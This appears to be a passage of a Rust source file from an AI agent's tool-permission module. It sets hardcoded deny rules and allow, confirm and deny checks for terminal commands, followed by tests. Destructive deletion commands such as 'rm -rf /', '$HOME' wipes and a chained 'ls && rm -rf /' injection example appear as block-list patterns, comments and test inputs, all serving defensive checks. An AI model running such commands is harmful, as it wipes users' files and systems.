1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::extract_commands;
6use std::path::{Component, Path};
7use std::sync::LazyLock;
8use util::shell::ShellKind;
9
10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
11 harmful to be allowed, and cannot be overridden by settings.";
12
13/// Security rules that are always enforced and cannot be overridden by any setting.
14/// These protect against catastrophic operations like wiping filesystems.
15pub struct HardcodedSecurityRules {
16 pub terminal_deny: Vec<CompiledRegex>,
17}
18
19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
20 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
21 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
22 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
23 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
24 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
25
26 HardcodedSecurityRules {
27 terminal_deny: vec![
28 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
29 CompiledRegex::new(
30 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
31 false,
32 )
33 .expect("hardcoded regex should compile"),
34 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 ],
59 }
60});
61
62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
63/// Returns a Deny decision if blocked, None otherwise.
64fn check_hardcoded_security_rules(
65 tool_name: &str,
66 inputs: &[String],
67 shell_kind: ShellKind,
68) -> Option<ToolPermissionDecision> {
69 // Currently only terminal tool has hardcoded rules
70 if tool_name != TerminalTool::NAME {
71 return None;
72 }
73
74 let rules = &*HARDCODED_SECURITY_RULES;
75 let terminal_patterns = &rules.terminal_deny;
76
77 for input in inputs {
78 // First: check the original input as-is (and its path-normalized form)
79 if matches_hardcoded_patterns(input, terminal_patterns) {
80 return Some(ToolPermissionDecision::Deny(
81 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
82 ));
83 }
84
85 // Second: parse and check individual sub-commands (for chained commands)
86 if shell_kind.supports_posix_chaining() {
87 if let Some(commands) = extract_commands(input) {
88 for command in &commands {
89 if matches_hardcoded_patterns(command, terminal_patterns) {
90 return Some(ToolPermissionDecision::Deny(
91 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
92 ));
93 }
94 }
95 }
96 }
97 }
98
99 None
100}
101
102/// Checks a single command against hardcoded patterns, both as-is and with
103/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
104/// and multi-path bypasses like `rm -rf /tmp /`).
105fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
106 for pattern in patterns {
107 if pattern.is_match(command) {
108 return true;
109 }
110 }
111
112 for expanded in expand_rm_to_single_path_commands(command) {
113 for pattern in patterns {
114 if pattern.is_match(&expanded) {
115 return true;
116 }
117 }
118 }
119
120 false
121}
122
123/// For rm commands, expands multi-path arguments into individual single-path
124/// commands with normalized paths. This catches both traversal bypasses like
125/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
126fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
127 let trimmed = command.trim();
128
129 let first_token = trimmed.split_whitespace().next();
130 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
131 return vec![];
132 }
133
134 let parts: Vec<&str> = trimmed.split_whitespace().collect();
135 let mut flags = Vec::new();
136 let mut paths = Vec::new();
137 let mut past_double_dash = false;
138
139 for part in parts.iter().skip(1) {
140 if !past_double_dash && *part == "--" {
141 past_double_dash = true;
142 flags.push(*part);
143 continue;
144 }
145 if !past_double_dash && part.starts_with('-') {
146 flags.push(*part);
147 } else {
148 paths.push(*part);
149 }
150 }
151
152 let flags_str = if flags.is_empty() {
153 String::new()
154 } else {
155 format!("{} ", flags.join(" "))
156 };
157
158 let mut results = Vec::new();
159 for path in &paths {
160 if path.starts_with('$') {
161 let home_prefix = if path.starts_with("${HOME}") {
162 Some("${HOME}")
163 } else if path.starts_with("$HOME") {
164 Some("$HOME")
165 } else {
166 None
167 };
168
169 if let Some(prefix) = home_prefix {
170 let suffix = &path[prefix.len()..];
171 if suffix.is_empty() {
172 results.push(format!("rm {flags_str}{path}"));
173 } else if suffix.starts_with('/') {
174 let normalized_suffix = normalize_path(suffix);
175 let reconstructed = if normalized_suffix == "/" {
176 prefix.to_string()
177 } else {
178 format!("{prefix}{normalized_suffix}")
179 };
180 results.push(format!("rm {flags_str}{reconstructed}"));
181 } else {
182 results.push(format!("rm {flags_str}{path}"));
183 }
184 } else {
185 results.push(format!("rm {flags_str}{path}"));
186 }
187 continue;
188 }
189
190 let mut normalized = normalize_path(path);
191 if normalized.is_empty() && !Path::new(path).has_root() {
192 normalized = ".".to_string();
193 }
194
195 results.push(format!("rm {flags_str}{normalized}"));
196 }
197
198 results
199}
200
201#[derive(Debug, Clone, PartialEq, Eq)]
202pub enum ToolPermissionDecision {
203 Allow,
204 Deny(String),
205 Confirm,
206}
207
208impl ToolPermissionDecision {
209 /// Determines the permission decision for a tool invocation based on configured rules.
210 ///
211 /// # Precedence Order (highest to lowest)
212 ///
213 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
214 /// that cannot be bypassed by any user settings.
215 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
216 /// This takes precedence over `always_confirm` and `always_allow` patterns.
217 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
218 /// the user is prompted for confirmation.
219 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
220 /// the tool call proceeds without prompting.
221 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
222 /// `default` configured, that mode is used.
223 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
224 /// tool-specific default is set, or when the tool has no entry at all.
225 ///
226 /// # Shell Compatibility (Terminal Tool Only)
227 ///
228 /// For the terminal tool, commands are parsed to extract sub-commands for security.
229 /// All currently supported `ShellKind` variants are treated as compatible because
230 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
231 /// variant is added that brush-parser cannot safely parse, it should be excluded
232 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
233 /// patterns to be disabled for that shell.
234 ///
235 /// # Pattern Matching Tips
236 ///
237 /// Patterns are matched as regular expressions against the tool input (e.g., the command
238 /// string for the terminal tool). Some tips for writing effective patterns:
239 ///
240 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
241 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
242 /// This is important for security rules where you want to block specific commands
243 /// without accidentally blocking unrelated commands that happen to contain the same
244 /// substring.
245 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
246 /// - Use `^` and `$` anchors to match the start/end of the input.
247 pub fn from_input(
248 tool_name: &str,
249 inputs: &[String],
250 permissions: &ToolPermissions,
251 shell_kind: ShellKind,
252 ) -> ToolPermissionDecision {
253 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
254 // These cannot be bypassed by any user settings.
255 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
256 return denial;
257 }
258
259 let rules = match permissions.tools.get(tool_name) {
260 Some(rules) => rules,
261 None => {
262 // No tool-specific rules, use the global default
263 return match permissions.default {
264 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
265 ToolPermissionMode::Deny => {
266 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
267 }
268 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
269 };
270 }
271 };
272
273 // Check for invalid regex patterns before evaluating rules.
274 // If any patterns failed to compile, block the tool call entirely.
275 if let Some(error) = check_invalid_patterns(tool_name, rules) {
276 return ToolPermissionDecision::Deny(error);
277 }
278
279 // For the terminal tool, parse each input command to extract all sub-commands.
280 // This prevents shell injection attacks where a user configures an allow
281 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
282 //
283 // If parsing fails or the shell syntax is unsupported, always_allow is
284 // disabled for this command (we set allow_enabled to false to signal this).
285 if tool_name == TerminalTool::NAME {
286 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
287 // See the doc comment above for the list of compatible/incompatible shells.
288 if !shell_kind.supports_posix_chaining() {
289 // For shells with incompatible syntax, we can't reliably parse
290 // the command to extract sub-commands.
291 if !rules.always_allow.is_empty() {
292 // If the user has configured always_allow patterns, we must deny
293 // because we can't safely verify the command doesn't contain
294 // hidden sub-commands that bypass the allow patterns.
295 return ToolPermissionDecision::Deny(format!(
296 "The {} shell does not support \"always allow\" patterns for the terminal \
297 tool because Zed cannot parse its command chaining syntax. Please remove \
298 the always_allow patterns from your tool_permissions settings, or switch \
299 to a POSIX-conforming shell.",
300 shell_kind
301 ));
302 }
303 // No always_allow rules, so we can still check deny/confirm patterns.
304 return check_commands(
305 inputs.iter().map(|s| s.to_string()),
306 rules,
307 tool_name,
308 false,
309 permissions.default,
310 );
311 }
312
313 // Expand each input into its sub-commands and check them all together.
314 let mut all_commands = Vec::new();
315 let mut any_parse_failed = false;
316 for input in inputs {
317 match extract_commands(input) {
318 Some(commands) => all_commands.extend(commands),
319 None => {
320 any_parse_failed = true;
321 all_commands.push(input.to_string());
322 }
323 }
324 }
325 // If any command failed to parse, disable allow patterns for safety.
326 check_commands(
327 all_commands,
328 rules,
329 tool_name,
330 !any_parse_failed,
331 permissions.default,
332 )
333 } else {
334 check_commands(
335 inputs.iter().map(|s| s.to_string()),
336 rules,
337 tool_name,
338 true,
339 permissions.default,
340 )
341 }
342 }
343}
344
345/// Evaluates permission rules against a set of commands.
346///
347/// This function performs a single pass through all commands with the following logic:
348/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
349/// - **CONFIRM**: Track if ANY command matches a confirm pattern
350/// - **ALLOW**: Track if ALL commands match at least one allow pattern
351///
352/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
353/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
354/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
355fn check_commands(
356 commands: impl IntoIterator<Item = String>,
357 rules: &ToolRules,
358 tool_name: &str,
359 allow_enabled: bool,
360 global_default: ToolPermissionMode,
361) -> ToolPermissionDecision {
362 // Single pass through all commands:
363 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
364 // - CONFIRM: Track if ANY command matches a confirm pattern
365 // - ALLOW: Track if ALL commands match at least one allow pattern
366 let mut any_matched_confirm = false;
367 let mut all_matched_allow = true;
368 let mut had_any_commands = false;
369
370 for command in commands {
371 had_any_commands = true;
372
373 // DENY: immediate return if any command matches a deny pattern
374 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
375 return ToolPermissionDecision::Deny(format!(
376 "Command blocked by security rule for {} tool",
377 tool_name
378 ));
379 }
380
381 // CONFIRM: remember if any command matches a confirm pattern
382 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
383 any_matched_confirm = true;
384 }
385
386 // ALLOW: track if all commands match at least one allow pattern
387 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
388 all_matched_allow = false;
389 }
390 }
391
392 // After processing all commands, check accumulated state
393 if any_matched_confirm {
394 return ToolPermissionDecision::Confirm;
395 }
396
397 if allow_enabled && all_matched_allow && had_any_commands {
398 return ToolPermissionDecision::Allow;
399 }
400
401 match rules.default.unwrap_or(global_default) {
402 ToolPermissionMode::Deny => {
403 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
404 }
405 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
406 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
407 }
408}
409
410/// Checks if the tool rules contain any invalid regex patterns.
411/// Returns an error message if invalid patterns are found.
412fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
413 if rules.invalid_patterns.is_empty() {
414 return None;
415 }
416
417 let count = rules.invalid_patterns.len();
418 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
419
420 Some(format!(
421 "The {} tool cannot run because {} regex {} failed to compile. \
422 Please fix the invalid patterns in your tool_permissions settings.",
423 tool_name, count, pattern_word
424 ))
425}
426
427/// Convenience wrapper that extracts permission settings from `AgentSettings`.
428///
429/// This is the primary entry point for tools to check permissions. It extracts
430/// `tool_permissions` from the settings and
431/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
432pub fn decide_permission_from_settings(
433 tool_name: &str,
434 inputs: &[String],
435 settings: &AgentSettings,
436) -> ToolPermissionDecision {
437 ToolPermissionDecision::from_input(
438 tool_name,
439 inputs,
440 &settings.tool_permissions,
441 ShellKind::system(),
442 )
443}
444
445/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
446pub fn normalize_path(raw: &str) -> String {
447 let is_absolute = Path::new(raw).has_root();
448 let mut components: Vec<&str> = Vec::new();
449 for component in Path::new(raw).components() {
450 match component {
451 Component::CurDir => {}
452 Component::ParentDir => {
453 if components.last() == Some(&"..") {
454 components.push("..");
455 } else if !components.is_empty() {
456 components.pop();
457 } else if !is_absolute {
458 components.push("..");
459 }
460 }
461 Component::Normal(segment) => {
462 if let Some(s) = segment.to_str() {
463 components.push(s);
464 }
465 }
466 Component::RootDir | Component::Prefix(_) => {}
467 }
468 }
469 let joined = components.join("/");
470 if is_absolute {
471 format!("/{joined}")
472 } else {
473 joined
474 }
475}
476
477/// Decides permission by checking both the raw input path and a simplified/canonicalized
478/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
479pub fn decide_permission_for_paths(
480 tool_name: &str,
481 raw_paths: &[String],
482 settings: &AgentSettings,
483) -> ToolPermissionDecision {
484 let raw_inputs: Vec<String> = raw_paths.to_vec();
485 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
486
487 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
488 let any_changed = raw_paths
489 .iter()
490 .zip(&normalized)
491 .any(|(raw, norm)| raw != norm);
492 if !any_changed {
493 return raw_decision;
494 }
495
496 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
497
498 most_restrictive(raw_decision, normalized_decision)
499}
500
501pub fn decide_permission_for_path(
502 tool_name: &str,
503 raw_path: &str,
504 settings: &AgentSettings,
505) -> ToolPermissionDecision {
506 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
507}
508
509pub fn most_restrictive(
510 a: ToolPermissionDecision,
511 b: ToolPermissionDecision,
512) -> ToolPermissionDecision {
513 match (&a, &b) {
514 (ToolPermissionDecision::Deny(_), _) => a,
515 (_, ToolPermissionDecision::Deny(_)) => b,
516 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
517 ToolPermissionDecision::Confirm
518 }
519 _ => a,
520 }
521}
522
523#[cfg(test)]
524mod tests {
525 use super::*;
526 use crate::AgentTool;
527 use crate::pattern_extraction::extract_terminal_pattern;
528 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
529 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
530 use gpui::px;
531 use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
532 use std::sync::Arc;
533
534 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
535 AgentSettings {
536 enabled: true,
537 button: true,
538 dock: DockPosition::Right,
539 default_width: px(300.),
540 default_height: px(600.),
541 default_model: None,
542 inline_assistant_model: None,
543 inline_assistant_use_streaming_tools: false,
544 commit_message_model: None,
545 thread_summary_model: None,
546 inline_alternatives: vec![],
547 favorite_models: vec![],
548 default_profile: AgentProfileId::default(),
549 default_view: DefaultAgentView::Thread,
550 profiles: Default::default(),
551 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
552 play_sound_when_agent_done: false,
553 single_file_review: false,
554 model_parameters: vec![],
555 enable_feedback: false,
556 expand_edit_card: true,
557 expand_terminal_card: true,
558 cancel_generation_on_terminal_stop: true,
559 use_modifier_to_send: true,
560 message_editor_min_lines: 1,
561 tool_permissions,
562 show_turn_stats: false,
563 new_thread_location: Default::default(),
564 }
565 }
566
567 fn pattern(command: &str) -> &'static str {
568 Box::leak(
569 extract_terminal_pattern(command)
570 .expect("failed to extract pattern")
571 .into_boxed_str(),
572 )
573 }
574
575 struct PermTest {
576 tool: &'static str,
577 input: &'static str,
578 mode: Option<ToolPermissionMode>,
579 allow: Vec<(&'static str, bool)>,
580 deny: Vec<(&'static str, bool)>,
581 confirm: Vec<(&'static str, bool)>,
582 global_default: ToolPermissionMode,
583 shell: ShellKind,
584 }
585
586 impl PermTest {
587 fn new(input: &'static str) -> Self {
588 Self {
589 tool: TerminalTool::NAME,
590 input,
591 mode: None,
592 allow: vec![],
593 deny: vec![],
594 confirm: vec![],
595 global_default: ToolPermissionMode::Confirm,
596 shell: ShellKind::Posix,
597 }
598 }
599
600 fn tool(mut self, t: &'static str) -> Self {
601 self.tool = t;
602 self
603 }
604 fn mode(mut self, m: ToolPermissionMode) -> Self {
605 self.mode = Some(m);
606 self
607 }
608 fn allow(mut self, p: &[&'static str]) -> Self {
609 self.allow = p.iter().map(|s| (*s, false)).collect();
610 self
611 }
612 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
613 self.allow = p.iter().map(|s| (*s, true)).collect();
614 self
615 }
616 fn deny(mut self, p: &[&'static str]) -> Self {
617 self.deny = p.iter().map(|s| (*s, false)).collect();
618 self
619 }
620 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
621 self.deny = p.iter().map(|s| (*s, true)).collect();
622 self
623 }
624 fn confirm(mut self, p: &[&'static str]) -> Self {
625 self.confirm = p.iter().map(|s| (*s, false)).collect();
626 self
627 }
628 fn global_default(mut self, m: ToolPermissionMode) -> Self {
629 self.global_default = m;
630 self
631 }
632 fn shell(mut self, s: ShellKind) -> Self {
633 self.shell = s;
634 self
635 }
636
637 fn is_allow(self) {
638 assert_eq!(
639 self.run(),
640 ToolPermissionDecision::Allow,
641 "expected Allow for '{}'",
642 self.input
643 );
644 }
645 fn is_deny(self) {
646 assert!(
647 matches!(self.run(), ToolPermissionDecision::Deny(_)),
648 "expected Deny for '{}'",
649 self.input
650 );
651 }
652 fn is_confirm(self) {
653 assert_eq!(
654 self.run(),
655 ToolPermissionDecision::Confirm,
656 "expected Confirm for '{}'",
657 self.input
658 );
659 }
660
661 fn run(&self) -> ToolPermissionDecision {
662 let mut tools = collections::HashMap::default();
663 tools.insert(
664 Arc::from(self.tool),
665 ToolRules {
666 default: self.mode,
667 always_allow: self
668 .allow
669 .iter()
670 .map(|(p, cs)| {
671 CompiledRegex::new(p, *cs)
672 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
673 })
674 .collect(),
675 always_deny: self
676 .deny
677 .iter()
678 .map(|(p, cs)| {
679 CompiledRegex::new(p, *cs)
680 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
681 })
682 .collect(),
683 always_confirm: self
684 .confirm
685 .iter()
686 .map(|(p, cs)| {
687 CompiledRegex::new(p, *cs)
688 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
689 })
690 .collect(),
691 invalid_patterns: vec![],
692 },
693 );
694 ToolPermissionDecision::from_input(
695 self.tool,
696 &[self.input.to_string()],
697 &ToolPermissions {
698 default: self.global_default,
699 tools,
700 },
701 self.shell,
702 )
703 }
704 }
705
706 fn t(input: &'static str) -> PermTest {
707 PermTest::new(input)
708 }
709
710 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
711 ToolPermissionDecision::from_input(
712 TerminalTool::NAME,
713 &[input.to_string()],
714 &ToolPermissions {
715 default: global_default,
716 tools: collections::HashMap::default(),
717 },
718 ShellKind::Posix,
719 )
720 }
721
722 // allow pattern matches
723 #[test]
724 fn allow_exact_match() {
725 t("cargo test").allow(&[pattern("cargo")]).is_allow();
726 }
727 #[test]
728 fn allow_one_of_many_patterns() {
729 t("npm install")
730 .allow(&[pattern("cargo"), pattern("npm")])
731 .is_allow();
732 t("git status")
733 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
734 .is_allow();
735 }
736 #[test]
737 fn allow_middle_pattern() {
738 t("run cargo now").allow(&["cargo"]).is_allow();
739 }
740 #[test]
741 fn allow_anchor_prevents_middle() {
742 t("run cargo now").allow(&["^cargo"]).is_confirm();
743 }
744
745 // allow pattern doesn't match -> falls through
746 #[test]
747 fn allow_no_match_confirms() {
748 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
749 }
750 #[test]
751 fn allow_no_match_global_allows() {
752 t("python x.py")
753 .allow(&[pattern("cargo")])
754 .global_default(ToolPermissionMode::Allow)
755 .is_allow();
756 }
757 #[test]
758 fn allow_no_match_tool_confirm_overrides_global_allow() {
759 t("python x.py")
760 .allow(&[pattern("cargo")])
761 .mode(ToolPermissionMode::Confirm)
762 .global_default(ToolPermissionMode::Allow)
763 .is_confirm();
764 }
765 #[test]
766 fn allow_no_match_tool_allow_overrides_global_confirm() {
767 t("python x.py")
768 .allow(&[pattern("cargo")])
769 .mode(ToolPermissionMode::Allow)
770 .global_default(ToolPermissionMode::Confirm)
771 .is_allow();
772 }
773
774 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
775 #[test]
776 fn deny_blocks() {
777 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
778 }
779 // global default: allow does NOT bypass user-configured deny rules
780 #[test]
781 fn deny_not_bypassed_by_global_default_allow() {
782 t("rm -rf ./temp")
783 .deny(&["rm\\s+-rf"])
784 .global_default(ToolPermissionMode::Allow)
785 .is_deny();
786 }
787 #[test]
788 fn deny_blocks_with_mode_allow() {
789 t("rm -rf ./temp")
790 .deny(&["rm\\s+-rf"])
791 .mode(ToolPermissionMode::Allow)
792 .is_deny();
793 }
794 #[test]
795 fn deny_middle_match() {
796 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
797 }
798 #[test]
799 fn deny_no_match_falls_through() {
800 t("ls -la")
801 .deny(&["rm\\s+-rf"])
802 .mode(ToolPermissionMode::Allow)
803 .is_allow();
804 }
805
806 // confirm pattern matches
807 #[test]
808 fn confirm_requires_confirm() {
809 t("sudo apt install")
810 .confirm(&[pattern("sudo")])
811 .is_confirm();
812 }
813 // global default: allow does NOT bypass user-configured confirm rules
814 #[test]
815 fn global_default_allow_does_not_override_confirm_pattern() {
816 t("sudo reboot")
817 .confirm(&[pattern("sudo")])
818 .global_default(ToolPermissionMode::Allow)
819 .is_confirm();
820 }
821 #[test]
822 fn confirm_overrides_mode_allow() {
823 t("sudo x")
824 .confirm(&["sudo"])
825 .mode(ToolPermissionMode::Allow)
826 .is_confirm();
827 }
828
829 // confirm beats allow
830 #[test]
831 fn confirm_beats_allow() {
832 t("git push --force")
833 .allow(&[pattern("git")])
834 .confirm(&["--force"])
835 .is_confirm();
836 }
837 #[test]
838 fn confirm_beats_allow_overlap() {
839 t("deploy prod")
840 .allow(&["deploy"])
841 .confirm(&["prod"])
842 .is_confirm();
843 }
844 #[test]
845 fn allow_when_confirm_no_match() {
846 t("git status")
847 .allow(&[pattern("git")])
848 .confirm(&["--force"])
849 .is_allow();
850 }
851
852 // deny beats allow
853 #[test]
854 fn deny_beats_allow() {
855 t("rm -rf ./tmp/x")
856 .allow(&["/tmp/"])
857 .deny(&["rm\\s+-rf"])
858 .is_deny();
859 }
860
861 #[test]
862 fn deny_beats_confirm() {
863 t("sudo rm -rf ./temp")
864 .confirm(&["sudo"])
865 .deny(&["rm\\s+-rf"])
866 .is_deny();
867 }
868
869 // deny beats everything
870 #[test]
871 fn deny_beats_all() {
872 t("bad cmd")
873 .allow(&["cmd"])
874 .confirm(&["cmd"])
875 .deny(&["bad"])
876 .is_deny();
877 }
878
879 // no patterns -> default
880 #[test]
881 fn default_confirm() {
882 t("python x.py")
883 .mode(ToolPermissionMode::Confirm)
884 .is_confirm();
885 }
886 #[test]
887 fn default_allow() {
888 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
889 }
890 #[test]
891 fn default_deny() {
892 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
893 }
894 // Tool-specific default takes precedence over global default
895 #[test]
896 fn tool_default_deny_overrides_global_allow() {
897 t("python x.py")
898 .mode(ToolPermissionMode::Deny)
899 .global_default(ToolPermissionMode::Allow)
900 .is_deny();
901 }
902
903 // Tool-specific default takes precedence over global default
904 #[test]
905 fn tool_default_confirm_overrides_global_allow() {
906 t("x")
907 .mode(ToolPermissionMode::Confirm)
908 .global_default(ToolPermissionMode::Allow)
909 .is_confirm();
910 }
911
912 #[test]
913 fn no_rules_uses_global_default() {
914 assert_eq!(
915 no_rules("x", ToolPermissionMode::Confirm),
916 ToolPermissionDecision::Confirm
917 );
918 assert_eq!(
919 no_rules("x", ToolPermissionMode::Allow),
920 ToolPermissionDecision::Allow
921 );
922 assert!(matches!(
923 no_rules("x", ToolPermissionMode::Deny),
924 ToolPermissionDecision::Deny(_)
925 ));
926 }
927
928 #[test]
929 fn empty_input_no_match() {
930 t("")
931 .deny(&["rm"])
932 .mode(ToolPermissionMode::Allow)
933 .is_allow();
934 }
935
936 #[test]
937 fn empty_input_with_allow_falls_to_default() {
938 t("").allow(&["^ls"]).is_confirm();
939 }
940
941 #[test]
942 fn multi_deny_any_match() {
943 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
944 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
945 }
946
947 #[test]
948 fn multi_allow_any_match() {
949 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
950 }
951 #[test]
952 fn multi_none_match() {
953 t("python x")
954 .allow(&["^cargo", "^npm"])
955 .deny(&["rm"])
956 .is_confirm();
957 }
958
959 // tool isolation
960 #[test]
961 fn other_tool_not_affected() {
962 let mut tools = collections::HashMap::default();
963 tools.insert(
964 Arc::from(TerminalTool::NAME),
965 ToolRules {
966 default: Some(ToolPermissionMode::Deny),
967 always_allow: vec![],
968 always_deny: vec![],
969 always_confirm: vec![],
970 invalid_patterns: vec![],
971 },
972 );
973 tools.insert(
974 Arc::from(EditFileTool::NAME),
975 ToolRules {
976 default: Some(ToolPermissionMode::Allow),
977 always_allow: vec![],
978 always_deny: vec![],
979 always_confirm: vec![],
980 invalid_patterns: vec![],
981 },
982 );
983 let p = ToolPermissions {
984 default: ToolPermissionMode::Confirm,
985 tools,
986 };
987 assert!(matches!(
988 ToolPermissionDecision::from_input(
989 TerminalTool::NAME,
990 &["x".to_string()],
991 &p,
992 ShellKind::Posix
993 ),
994 ToolPermissionDecision::Deny(_)
995 ));
996 assert_eq!(
997 ToolPermissionDecision::from_input(
998 EditFileTool::NAME,
999 &["x".to_string()],
1000 &p,
1001 ShellKind::Posix
1002 ),
1003 ToolPermissionDecision::Allow
1004 );
1005 }
1006
1007 #[test]
1008 fn partial_tool_name_no_match() {
1009 let mut tools = collections::HashMap::default();
1010 tools.insert(
1011 Arc::from("term"),
1012 ToolRules {
1013 default: Some(ToolPermissionMode::Deny),
1014 always_allow: vec![],
1015 always_deny: vec![],
1016 always_confirm: vec![],
1017 invalid_patterns: vec![],
1018 },
1019 );
1020 let p = ToolPermissions {
1021 default: ToolPermissionMode::Confirm,
1022 tools,
1023 };
1024 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1025 assert_eq!(
1026 ToolPermissionDecision::from_input(
1027 TerminalTool::NAME,
1028 &["x".to_string()],
1029 &p,
1030 ShellKind::Posix
1031 ),
1032 ToolPermissionDecision::Confirm
1033 );
1034 }
1035
1036 // invalid patterns block the tool
1037 #[test]
1038 fn invalid_pattern_blocks() {
1039 let mut tools = collections::HashMap::default();
1040 tools.insert(
1041 Arc::from(TerminalTool::NAME),
1042 ToolRules {
1043 default: Some(ToolPermissionMode::Allow),
1044 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1045 always_deny: vec![],
1046 always_confirm: vec![],
1047 invalid_patterns: vec![InvalidRegexPattern {
1048 pattern: "[bad".into(),
1049 rule_type: "always_deny".into(),
1050 error: "err".into(),
1051 }],
1052 },
1053 );
1054 let p = ToolPermissions {
